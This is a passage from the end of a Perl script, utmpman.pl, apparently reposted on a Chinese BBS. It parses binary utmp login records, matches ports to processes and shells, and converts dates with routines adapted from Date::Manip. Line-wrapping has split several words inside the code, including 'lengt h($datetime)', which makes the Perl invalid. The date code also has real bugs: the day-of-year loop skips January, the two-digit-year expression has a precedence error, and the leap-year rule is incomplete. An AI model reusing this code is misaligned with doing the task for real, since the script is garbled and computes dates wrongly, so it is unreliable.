if (defined(@validshellports));
print "Ports with active processes and *no* shells: @noshellports\n"
if (defined(@noshellports));
}
# GENERAL
sub readfile {
local($file);
$file = shift;
my($index)=1;
my($buffer)="";
# Insure we have a clean hash table before we start reading in the fil e.
foreach (keys(%entries)) {
undef(%{$entries{$_}});
delete(${entries{$_}});
}
open(UTMPFILE, "<$file") || die("utmp-parse: Can't open $file - $!\n") ;
binmode(UTMPFILE);
# 1/17/96, struct utmp is 56 bytes (54 according to addition! :P).
while (read(UTMPFILE, $buffer, 56)) {
$entries{$index++} = newutmp($buffer);
}
$active_file = $file;
print ("$active_file: " . scalar(keys(%entries)) . " entries loaded.\n ");
close(UTMPFILE);
}
sub newutmp {
my($newbuff) = shift;
my($longaddr) = 0;
$newnode = bless {
"type" => undef, "pid" => undef, "line" => undef, "id" => undef,
"time" => undef, "user" => undef, "host" => undef, "addr" => undef
}, 'UTMPNODE';
@{$newnode}{qw(type pid line id time user host addr)}=
unpack("i L a12 a4 L a8 a16 a4", $newbuff);
return $newnode;
}
sub newport {
$newnode = bless {
"port" => undef, "rdev" => undef, "owner" => undef, "cmd" => undef,
}, 'PORTNODE';
@{$newnode}{qw(port rdev owner)} = @_;
return $newnode;
}
sub newproc {
$newnode = bless {
"cmd" => undef, "port" => undef,
}, 'PROCNODE';
@{$newnode}{qw(cmd port)} = @_;
return $newnode;
}
# Renumber hashes to default order.
sub resync {
my(%newhash) = ();
my($count)=0;
# Write ordered list in to temporary hash, deleting as we go.
foreach (sort( {$a <=> $b} keys(%entries))) {
$newhash{++$count} = $entries{$_};
delete($entries{$_});
}
# Copy elements back in to original hash table.
foreach (sort( {$a <=> $b} keys(%newhash))) {
$entries{$_} = $newhash{$_};
}
}
sub longtodot4 {
my($addr)=shift;
return join(".", map( ord($_), split(//, $addr)));
}
sub dev2id {
my($portlist, $rdev) = @_;
foreach (sort(keys(%{$portlist}))) {
return $_ if (%{$portlist}->{$_}->{"rdev"}==$rdev);
}
return undef;
}
sub listpos {
my($arrayref, $search) = @_;
my($count) = 0;
$^W = 0;
foreach (@{$arrayref}) {
return $count if ($search eq ${$arrayref}[$count]);
$count++;
}
$^W = 1;
return undef;
}
### DATE ROUTINES
# The following code taken & modified from the Date::Manip package.
# Here is his copyright:
#
## Copyright (c) 1995,1996 Sullivan Beck. All rights reserved.
## This program is free software; you can redistribute it and/or modif y it
## under the same terms as Perl itself.
sub SecsSince1970 {
# Parse as mm/dd/[cc]yy[:hh:mm[:ss]]
my($datetime) = shift;
my($m,$d,$y,$h,$mn,$s) = ();
# If date is not defined, then return local current date and time.
return time() if (!defined($datetime));
$datetime =~
s!^(\d{1,2})/(\d{1,2})/(\d{4}|\d{2})(?:\:(\d{2}):(\d{2})(?:\:(\d{2}))? )?!!;
($m, $d, $y, $h, $mn, $s) = ($1, $2, $3, $4, $5, $6);
$m--;
# Finalize time components and check them.
$y = (($y < 70) ? "20":"19" . $y) if (length($y)==2);
# This checks for any *non-matched* portion of $datetime. If there is such
# an animal, then there is illegal data specified. Also screens for un defined
# components which HAVE to be in ANY valid date/time (ie, month, day, year).
return undef if (!defined($m) || !defined($d) || !defined($y) || lengt h($datetime));
# Set time components with unspecified values.
$s = 0 if (!defined($s));
$mn = 0 if (!defined($mn));
$h = 0 if (!defined($h));
# Check for ranges.
return undef if (($m > 11) || ($h > 23) || ($mn > 59) || ($s > 59));
# Begin conversion to seconds since 1/1/70.
my($sec_now,$sec_70)=();
$sec_now=DaysSince999($m,$d,$y);
return undef if (!defined($sec_now));
$sec_now--;
$sec_now = $sec_now*24*3600 + $h*3600 + $mn*60 + $s;
$sec_70 =30610224000;
return ($sec_now-$sec_70);
}
sub DaysSince999 {
my($m,$d,$y)=@_;
my($Ny,$N4,$N100,$N400,$dayofyear,$days)=();
my($cc,$yy)=();
$y=~ /^(\d{2})(\d{2})$/;
($cc,$yy)=($1,$2);
# Number of full years since Dec 31, 0999
$Ny=$y-1000;
# Number of full 4th years (incl. 1000) since Dec 31, 0999
$N4=int(($Ny-1)/4)+1;
$N4=0 if ($y==1000);
# Number of full 100th years (incl. 1000)
$N100=$cc-9;
$N100-- if ($yy==0);
# Number of full 400th years
$N400=int(($N100+1)/4);
# Check to insure that information returns a valid day of year.
$dayofyear=dayofyear($m,$d,$y);
return undef if (!defined($dayofyear));
# Compute day of year.
$days= $Ny*365 + $N4 - $N100 + $N400 + $dayofyear;
return $days;
}
sub dayofyear {
my($m,$d,$y)=@_;
my(@daysinmonth)=(31,28,31,30,31,30,31,31,30,31,30,31);
my($daynum,$i)=();
$daysinmonth[1]=29 if (!($y % 4));
# Return error if we are given an invalid date.
return undef if ($d > $daysinmonth[$m]);
$daynum=0;
for ($i=1; $i<$m; $i++) {
$daynum += $daysinmonth[$i];
}
$daynum += $d;
return $daynum;
}
## END DATE ROUTINES.
# End of script.
0;
--------------------- end of utmpman.pl
-- ※ 来源:.月光软件站 http://www.moon-soft.com.[FROM: 202.96.243.142]
|
|